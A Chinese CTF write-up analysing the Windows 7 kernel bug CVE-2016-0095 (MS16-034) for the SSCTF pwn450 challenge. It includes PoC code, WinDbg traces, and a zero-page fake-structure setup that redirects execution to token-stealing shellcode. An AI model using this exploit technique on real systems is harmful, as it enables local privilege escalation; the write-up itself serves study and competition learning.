【CTF 攻略】SSCTF pwn450 Windows Kernel Exploitation Writeup-安全客

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【CTF 攻略】第三届 SSCTF 全国网络安全大赛—线上赛 Writeup

前言

刚刚结束的SSCTF里面出了很多贴近实战的题目，有JAVA沙箱逃逸，有office的栈溢出，都比较有意思，这次的pwn450的题目是一道Windows Kernel Exploitation，漏洞编号是CVE-2016-0095（MS16-034），由四叶草的大牛bee13oy提供了一个能触发BSOD的PoC，要求通过分析漏洞并在Win 7环境下完成利用。

感觉这个过程比较有意思，和师傅们分享一下，这个漏洞相对于之前做过的CVE-2014-4113漏洞来说更为简单，利用上也有点意思，适合做Windows Kernel入门。

本文首先我们简单分析一下PoC，随后我们一起来分析一下这个漏洞的形成原因，最后我们来看一下这个漏洞的利用点在哪里并完成利用，文章最后我将CVE-2016-0095的EoP源码上传到github并提供链接。

另外bee13oy大牛提供的PoC，我在VS2013下编译有一点问题，我稍微调整了一下PoC源码，会一起上传至github。

调试环境按照SSCTF题目要求是Windows 7 x86 sp1. 请师傅们多多指教，谢谢阅读！

PoC分析

首先触发MS17-017的核心函数在Trigger_BSoDPoc中。

    HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
    HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
    SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
    HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
    FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);

这个漏洞和bitmap相关，创建了一个hdc设备句柄，并选入了一个bitmap对象，创建了一个hBrush逻辑刷子，以及一个hRgn矩形对象，最后调用FillRgn触发漏洞。

其中SelectObject选入bitmap对象的hBitmap2，由NtGdiSetBitmapAttributes函数创建，其定义的bitmap结构在demo_CreateBitmapIndirect函数中。

PoC在VS2013编译时存在一些小问题，首先是对NtGdiSetBitmapAttributes的重构定义中使用的W32KAPI，这里编译时报错，增加一个预定义头就可以了。

#ifndef W32KAPI
#define W32KAPI  DECLSPEC_ADDRSAFE
#endif

第二个问题在重构NtGdiSetBitmapAttributes时内联汇编会使用NtGdiSetBitmapAttributes的系统调用号，随后调用KiFastSystemCall进入内核态，这里KiFastSystemCall没有提供地址，可以直接在函数内LoadLibrary之后使用GetProcAddress获取KiFastSystemCall地址。

    HMODULE _H_NTDLL = NULL;
    PVOID addr_kifastsystemcall = NULL;
    _H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));
    addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");
    __asm
    {
        push argv1;
        push argv0;
        push 0x00;
        mov eax, eSyscall_NtGdiSetBitmapAttributes;
        mov edx, addr_kifastsystemcall;
        call edx;
        add esp, 0x0c;
    }

这样编译就没问题啦，PoC我们简单分析了一下，下面我们通过Windbg的PIPE进行双机联调，来分析一下这个漏洞的形成原因。

MS16-034漏洞分析

这是一个由于_SURFOBJ->hDEV未初始化直接引用导致的无效地址访问引发的漏洞，首先运行PoC，Windbg会捕获到异常中断，来看一下中断位置。

kd> r
eax=00000000 ebx=980b0af8 ecx=00000001 edx=00000000 esi=00000000 edi=fe9950d8
eip=838b0560 esp=980b0928 ebp=980b09a0 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
win32k!bGetRealizedBrush+0x38:
838b0560 f6402401        test    byte ptr [eax+24h],1       ds:0023:00000024=??

中断位置eax的值是0x0，而eax+24是一个无效地址空间，我们需要跟踪这个eax寄存器的值由什么地方得到，首先分析win32k!bGetRealizedBrush函数。

int __stdcall bGetRealizedBrush(struct BRUSH *a1, struct EBRUSHOBJ *a2, int (__stdcall *a3)(struct _BRUSHOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _XLATEOBJ *, unsigned __int32))
{

函数传入了3个变量，由外层函数分析，可以发现其中a3是EngRealizeBrush函数，是一个写死的值（这点后面会提到），a1是一个BRUSH结构体，a2是一个EBRUSHOBJ结构体，而漏洞触发位置的eax就由EBRUSHOBJ结构体得来，跟踪分析一下这个过程。

kd> p
win32k!bGetRealizedBrush+0x1c://ebx由第二个参数得来
969e0544 8b5d0c          mov     ebx,dword ptr [ebp+0Ch]
……
kd> p
win32k!bGetRealizedBrush+0x25://第二个参数+34h的位置的值交给eax
969e054d 8b4334          mov     eax,dword ptr [ebx+34h]
……
kd> p
win32k!bGetRealizedBrush+0x32://eax+1c的值，交给eax，这个值为0
969e055a 8b401c          mov     eax,dword ptr [eax+1Ch]
kd> p
win32k!bGetRealizedBrush+0x35:
969e055d 89450c          mov     dword ptr [ebp+0Ch],eax
kd> p
win32k!bGetRealizedBrush+0x38://eax为0，引发无效内存访问
969e0560 f6402401        test    byte ptr [eax+24h],1

经过上面的分析，我们需要知道，EBRUSHOBJ+34h位置存放着什么样的值，直接来看EBRUSHOBJ结构体的内容。

kd> dd 8effcaf8
8effcaf8  ffffffff 00000000 00000000 00edfc13
8effcb08  00edfc13 00000000 00000006 00000004
8effcb18  00000000 00ffffff fe96b7c4 00000000
8effcb28  00000000 fd2842e8 ffbff968 ffbffe68

这里0x8effcaf8+34h位置存放的值是fd2842e8，而fd2842e8+1c存放的是0x0，就是这里传递给eax，导致了eax是0x0，从而引发了无效地址访问。

kd> dd fd2842e8
fd2842e8  108501ef 00000001 80000000 874635f8
fd2842f8  00000000 108501ef 00000000 00000000
fd284308  00000008 00000008 00000020 fd28443c
fd284318  fd28443c 00000004 00001292 00000001

因此我们需要知道fd2842e8＋1c是一个什么对象的值，但通过dt方法没法获得_EBRUSHOBJ的结构，这里对象不明朗没关系，我们可以通过对外层函数的跟踪，来看一下+1c位置存放的是什么样的结构，通过kb堆栈回溯（这里由于多次重启堆栈地址发生变化，不影响调试）

kd> kb
 # ChildEBP RetAddr  Args to Child              
00 980b09a0 838b34af 00000000 00000000 838ad5a0 win32k!bGetRealizedBrush+0x38
01 980b09b8 83929b5e 980b0af8 00000001 980b0a7c win32k!pvGetEngRbrush+0x1f
02 980b0a1c 839ab6e8 fe975218 00000000 00000000 win32k!EngBitBlt+0x337
03 980b0a54 839abb9d fe975218 980b0a7c 980b0af8 win32k!EngPaint+0x51
04 980b0c20 83e941ea 00000000 ffbff968 1910076b win32k!NtGdiFillRgn+0x339

我们可以看到最外层函数调用了win32k!NtGdiFillRgn函数，直接跟踪外层函数调用，在NtGdiFillRgn函数中。

            EngPaint(
              (struct _SURFOBJ *)(v5 + 16),
              (int)&v13,
              (struct _BRUSHOBJ *)&v18,
              (struct _POINTL *)(v42 + 1592),
              v10);                             // 函数调用会进这里

接下来我们重启系统，重新跟踪这个过程，对象地址值发生变化，但不影响调试，传入的第一个参数是SURFOBJ对象，来看一下这个对象的内容

kd> p
win32k!NtGdiFillRgn+0x334:
96adbb98 e8fafaffff      call    win32k!EngPaint (96adb697)
kd> dd esp
903fca5c  ffb58778 903fca7c 903fcaf8 ffaabd60

第一个参数SURFOBJ的值是ffb58778，继续往后跟踪

kd> p
win32k!EngPaint+0x45:
96adb6dc ff7508          push    dword ptr [ebp+8]
kd> p
win32k!EngPaint+0x48:
96adb6df 8bc8            mov     ecx,eax
kd> p
win32k!EngPaint+0x4a:
96adb6e1 e868e4f8ff      call    win32k!SURFACE::pfnBitBlt (96a69b4e)
kd> dd 903fcaf8//这个值是BRUSH结构体
903fcaf8  ffffffff 00000000 00000000 00edfc13
903fcb08  00edfc13 00000000 00000006 00000004
903fcb18  00000000 00ffffff ffaab7c4 00000000
903fcb28  00000000 ffb58768 ffbff968 ffbffe68//偏移0x34存放的是0xffb58768
903fcb38  ffbbd540 00000006 fe57bc38 00000014
903fcb48  000000d3 00000001 ffffffff 83f77f01
903fcb58  83ec0892 903fcb7c 903fcbb0 00000000
903fcb68  903fcc10 83e17924 00000000 00000000
kd> dd ffb58768//看一下0xffb58768的值
ffb58768  068501b7 00000001 80000000 8754b030
ffb58778  00000000 068501b7 00000000 00000000//这个值是0x0
ffb58788  00000008 00000008 00000020 ffb588bc

我们发现在EBRUSHOBJ+34h位置存放的值，再+10h存放的正是之前的SURFOBJ，可以看到，0xffb58768和之前SURFOBJ对象的值0xffb58778正好相差10h，也就是说，之前ffb58768+1ch位置存放的就是SURFOBJ+0xc的值，可以看到而这个值来看一下SURFOBJ的结构

typedef struct _SURFOBJ {
  DHSURF dhsurf;
  HSURF  hsurf;
  DHPDEV dhpdev;
  HDEV   hdev;
  SIZEL  sizlBitmap;
  ULONG  cjBits;
  PVOID  pvBits;
  PVOID  pvScan0;
  LONG   lDelta;
  ULONG  iUniq;
  ULONG  iBitmapFormat;
  USHORT iType;
  USHORT fjBitmap;
} SURFOBJ;

前面DHSURF、HSURF、DHPDEV类型长度都是4字节，看到偏移+ch位置存放的是hdev对象，正是在PoC中未对hdev对象进行初始化直接引用，导致了漏洞的发生。我们也可以来看一下_EBRUSHOBJ的一些结构概况。

红框框应该是BRUSHOBJ，其中前4个字节时iSolidColor，中间4个字节是pvRbrush，后4个字节是flColorType，绿框框应该是在PoC中定义的hBrush的COLORREF，粉框框则是SURFOBJ-10h的一个结构，问题也出现在这里。

PWN!!

知道了这个漏洞形成原因，我们来考虑利用过程，首先，我们回到触发漏洞的位置，这里引用了eax＋24，就是0x0＋24，在Win7下限制较少，不像Win8和Win10，在_EPROCESS结构中有VdmAllowed之类的来限制NtAllocateVirtualMemory申请零页内存，如果我们通过NtAllocateVirtualMemory申请零页内存，那么对应位置就不是一个无效地址了。

我们通过伪代码来看一下这一小部分的逻辑。

  P = 0;
  v69 = 0;
  a2 = *(struct EBRUSHOBJ **)(v6 + 28);//key！！a2被赋值为0了！
  v45 = (*((_BYTE *)a2 + 36) & 1) == 0;//引发BSOD位置
  v72 = 0;
  v75 = 0;

可以看到，在之前a2会由于hdev未初始化，而直接引用，被赋值为0x0，那么也就是说，在函数后面所有跟a2有关的操作部分，比如a2+0xn的操作，都是在零页内存位置做操作，比如后面的a2+36就是引发bsod的位置，将0x0+24h了。

那么也就是说，如果我们用NtAllocateVirtualMemory分配了零页内存，那么零页内存位置的值我们都是可控的，也就是说在win32k!bGetRealizedBrush中，所有跟a2相关的位置我们都是可控的。

换个角度讲，我们可以在零页位置构造一个fake struct来控制一些可控的位置。接下来，为了利用，我们需要在win32k!bGetRealizedBrush中，找到一些可以利用的点。

找到了两个点，第一个点比较好找，第二个点我不够细心没找到，还是pxx提醒了我，感谢pxx师傅！

第一个点在

第二个点在

其中第一个点不好用，就是之前我说到的这是一个常数，这里引用的是EngRealizeBrush函数，是在传递参数时一个定值，这个值不能被修改。

因此我们能利用的位置应该就是第二个点，但其实，从我们漏洞触发位置，到漏洞利用位置有几处if语句判断，第一处。

.text:BF840799 ; 119:       v23 = *((_WORD *)v20 + 712);
.text:BF840799
.text:BF840799 loc_BF840799:                           ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+266j
.text:BF840799                 movzx   edx, word ptr [eax+590h] ; check 0x590
.text:BF8407A0 ; 120:       if ( !v23 )
.text:BF8407A0                 cmp     dx, si
.text:BF8407A3 ; 121:         goto LABEL_23;
.text:BF8407A3                 jz      loc_BF8406F7

这时候v20的值是a2，而a2的值来自于 a2 = *(struct EBRUSHOBJ **)(v6 + 28);，之前已经分析过，由于未初始化，这个值为0，那么第一处在v23的if语句跳转中，需要置0+0x590位置的值为不为0的数。

接下来第二处跳转。

.text:BF8407A3 ; 120:       if ( !v23 )
.text:BF8407A3                 jz      loc_BF8406F7
.text:BF8407A9 ; 122:       v24 = (struct EBRUSHOBJ *)((char *)v20 + 1426);
.text:BF8407A9                 add     eax, 592h  ; Check 0x592
.text:BF8407AE ; 123:       if ( !*(_WORD *)v24 )
.text:BF8407AE                 cmp     [eax], si
.text:BF8407B1 ; 124:         goto LABEL_23;
.text:BF8407B1                 jz      loc_BF8406F7

这个地方又要一个if语句跳转，这个地方需要置0x592位置的值为不为0的数。

最后一处，也就是call edi之前的位置

.text:BF8407F0                 mov     edi, [eax+748h]//edi赋值为跳板值
.text:BF8407F6                 setz    cl
.text:BF8407F9                 inc     ecx
.text:BF8407FA                 mov     [ebp+var_14], ecx
.text:BF8407FD ; 134:       if ( v26 )
.text:BF8407FD                 cmp     edi, esi//这里仍旧是和0比较
.text:BF8407FF                 jz      short loc_BF840823

这里检查的是0x748的位置，这个地方需要edi和esi做比较，edi不为0，这里赋值为替换token的shellcode的值就是不为0的值了，直接可以跳转。

只要绕过了这3处，就可以到达call edi了，而call edi，又来自eax＋748，这个位置我们可控，这样就能到shellcode位置了，所以，我们需要在零页分配一个0x1000的内存（只要大于748，随便定义）。

随后布置这3个值，之后我们可以达到零页可控位置。

接下来，我们只需要在源码中使用steal token shellcode，然后在内核态执行用户态shellcode，完成token替换，这样我们通过如下代码部署零页内存。

    void* bypass_one = (void *)0x590;
    *(LPBYTE)bypass_one = 0x1;
    void* bypass_two = (void *)0x592;
    *(LPBYTE)bypass_two = 0x1;
    void* jump_addr = (void *)0x748;
    *(LPDWORD)jump_addr = (DWORD)TokenStealingShellcodeWin7;

由于Win7下没有SMEP，因此我们也不需要使用ROP来修改CR4寄存器的值，这样，我们在RING0下执行RING3 shellcode完成提权。